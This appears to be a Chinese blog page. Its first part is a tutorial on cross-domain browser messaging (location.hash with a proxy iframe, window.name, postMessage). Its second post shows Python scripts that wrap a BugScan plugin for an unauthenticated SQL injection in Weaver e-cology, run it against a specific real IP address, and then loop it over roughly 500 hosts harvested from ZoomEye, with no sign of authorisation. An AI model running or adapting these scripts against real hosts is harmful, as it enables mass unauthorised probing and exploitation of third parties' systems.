这个办法比较绕,但是可以解决完全跨域情况下的脚步置换问题。原理是利用location.hash来进行传值。在url: http://a.com#helloword中的‘#helloworld’就是location.hash,改变hash并不会导致页面刷新,所以可以利用hash值来进行数据传递,当然数据容量是有限的。假设域名a.com下的文件cs1.html要和cnblogs.com域名下的cs2.html传递信息,cs1.html首先创建自动创建一个隐藏的iframe,iframe的src指向cnblogs.com域名下的cs2.html页面,这时的hash值可以做参数传递用。cs2.html响应请求后再将通过修改cs1.html的hash值来传递数据(由于两个页面不在同一个域下IE、Chrome不允许修改parent.location.hash的值,所以要借助于a.com域名下的一个代理iframe;Firefox可以修改)。同时在cs1.html上加一个定时器,隔一段时间来判断location.hash的值有没有变化,一点有变化则获取获取hash值。代码如下:

先是a.com下的文件cs1.html文件:

function startRequest(){
    var ifr = document.createElement('iframe');
    ifr.style.display = 'none';
    ifr.src = 'http://www.cnblogs.com/lab/cscript/cs2.html#paramdo';
    document.body.appendChild(ifr);
}

function checkHash() {
    try {
        var data = location.hash ? location.hash.substring(1) : '';
        if (console.log) {
            console.log('Now the data is '+data);
        }
    } catch(e) {};
}
setInterval(checkHash, 2000);

cnblogs.com域名下的cs2.html:

//模拟一个简单的参数处理操作
switch(location.hash){
    case '#paramdo':
        callBack();
        break;
    case '#paramset':
        //do something……
        break;
}

function callBack(){
    try {
        parent.location.hash = 'somedata';
    } catch (e) {
        // ie、chrome的安全机制无法修改parent.location.hash,
        // 所以要利用一个中间的cnblogs域下的代理iframe
        var ifrproxy = document.createElement('iframe');
        ifrproxy.style.display = 'none';
        ifrproxy.src = 'http://a.com/test/cscript/cs3.html#somedata';    // 注意该文件在"a.com"域下
        document.body.appendChild(ifrproxy);
    }
}

a.com下的域名cs3.html

//因为parent.parent和自身属于同一个域,所以可以改变其location.hash的值
parent.parent.location.hash = self.location.hash.substring(1);

当然这样做也存在很多缺点,诸如数据直接暴露在了url中,数据容量和类型都有限等……

4、window.name实现的跨域数据传输

文章较长列在此处不便于阅读,详细请看 window.name实现的跨域数据传输

5、使用HTML5 postMessage

HTML5中最酷的新功能之一就是 跨文档消息传输Cross Document Messaging。下一代浏览器都将支持这个功能:Chrome 2.0+、Internet Explorer 8.0+, Firefox 3.0+, Opera 9.6+, 和 Safari 4.0+ 。 Facebook已经使用了这个功能,用postMessage支持基于web的实时消息传递。

otherWindow.postMessage(message, targetOrigin);
otherWindow: 对接收信息页面的window的引用。可以是页面中iframe的contentWindow属性;window.open的返回值;通过name或下标从window.frames取到的值。
message: 所要发送的数据,string类型。
targetOrigin: 用于限制otherWindow,“*”表示不作限制

a.com/index.html中的代码:

<iframe id="ifr" src="b.com/index.html"></iframe>
<script type="text/javascript">
window.onload = function() {
    var ifr = document.getElementById('ifr');
    var targetOrigin = 'http://b.com';  // 若写成'http://b.com/c/proxy.html'效果一样
                                        // 若写成'http://c.com'就不会执行postMessage了
    ifr.contentWindow.postMessage('I was there!', targetOrigin);
};
</script>

b.com/index.html中的代码:

<script type="text/javascript">
    window.addEventListener('message', function(event){
        // 通过origin属性判断消息来源地址
        if (event.origin == 'http://a.com') {
            alert(event.data);    // 弹出"I was there!"
            alert(event.source);  // 对a.com、index.html中window对象的引用
                                  // 但由于同源策略,这里event.source不可以访问window对象
        }
    }, false);
</script>

参考文章:《精通HTML5编程》第五章——跨文档消息机制https://developer.mozilla.org/en/dom/window.postmessage

6、利用flash

这是从YUI3的IO组件中看到的办法,具体可见http://developer.yahoo.com/yui/3/io/
可以看在Adobe Developer Connection看到更多的跨域代理文件规范:ross-Domain Policy File SpecificationsHTTP Headers Blacklist

利用bugscan插件打造自己的漏扫

发布时间:July 11, 2015 // 分类:开发笔记,工作日志,linux,转帖文章,python,windows,生活琐事 // No Comments

如果要针对某个特定的漏洞来对目标进行检测, 直接丢到bugscan里显然有点大材小用,而且灵活性也不高。

就选一个泛微的漏洞吧,泛微e-cology 未授权下载文件处sql注入

新建个目录叫bugscan, 把这个插件保存为ecology.py,并放到这个目录下, 在ecology.py里再加一句话from dummy import *

tu

另外再新建个__init__.py的空文件, 把bugscan的sdk中的dummy文件夹也放到这里面

我的截图如下

tu

然后到bugscan的上级目录新建个py脚本

#!/usr/bin/python
from  bugscan import ecology
ecology.audit('http://220.248.243.186:8081/')

运行下 tu

然后就可以调用了。。

现在来批量。

查找目标zoomeye 
有500多台主机吧。。 
稍微改写下脚本

#!/usr/bin/python
from  bugscan import ecology

#target每个ip用换行隔开的,为了采集简单我查找的80端口
targets = file('target').readlines()

for target in targets:
    target = target.rstrip()
    ecology.audit("http://"+target+":80/")

tu

bugscandk下载地址:https://www.bugscan.net/sdk.zip

zoomeye:http://www.zoomeye.org/

分类
最新文章
最近回复
  • 轨迹: niubility!
  • 没穿底裤: 好办法..
  • emma: 任务计划那有点小问题,调用后Activation.exe不是当前活动窗口,造成回车下一步下一步...
  • 没穿底裤: hook execve函数
  • tuhao lam: 大佬,还有持续跟进Linux命令执行记录这块吗?通过内核拦截exec系统调用的方式,目前有没有...